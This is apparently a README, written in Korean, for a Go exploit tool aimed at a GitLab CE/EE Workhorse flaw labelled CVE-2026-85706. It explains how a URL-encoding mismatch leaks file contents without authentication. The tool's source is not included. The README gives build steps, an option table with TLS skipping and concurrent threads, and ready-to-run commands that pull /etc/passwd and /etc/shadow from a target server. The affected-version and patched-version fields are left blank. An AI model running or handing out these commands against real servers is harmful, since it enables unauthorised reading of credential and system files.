
CVE-2026-85706에 대한 Go 익스플로잇으로, GitLab CE/EE Workhorse에서 URL 인코딩 우회를 통한 인증되지 않은 임의 파일 읽기 취약점이며, 동시 요청과 TLS 건너뛰기를 지원합니다.
GitLab CE/EE 인증되지 않은 임의 파일 읽기 취약점 (CVE-2026-85706).
영향받는 버전:
패치된 버전:
이 취약점은 GitLab의 Workhorse 컴포넌트에 존재합니다. Workhorse 정규식은 인코딩된 경로를 보는 반면, Puma는 이를 디코딩합니다. Rails의 File.open(file.path)가 인증 전에 호출되며, urlencoded 파싱이 잘못된 % 인코딩을 400 응답 본문에 삽입하여 파일 내용이 유출됩니다.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| 인수 | 설명 | 기본값 |
|---|---|---|
-u | 대상 URL (예: https://gitlab.example.com) | - |
-f | 읽을 파일 (예: /etc/passwd) | - |
-k | TLS 검증 건너뛰기 | false |
-t | 동시 스레드 수 | 1 |
-v | 상세 출력 | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
이 명령은 대상 GitLab 인스턴스에서 /etc/shadow 파일을 읽으려고 시도하며, TLS 검증을 건너뜁니다.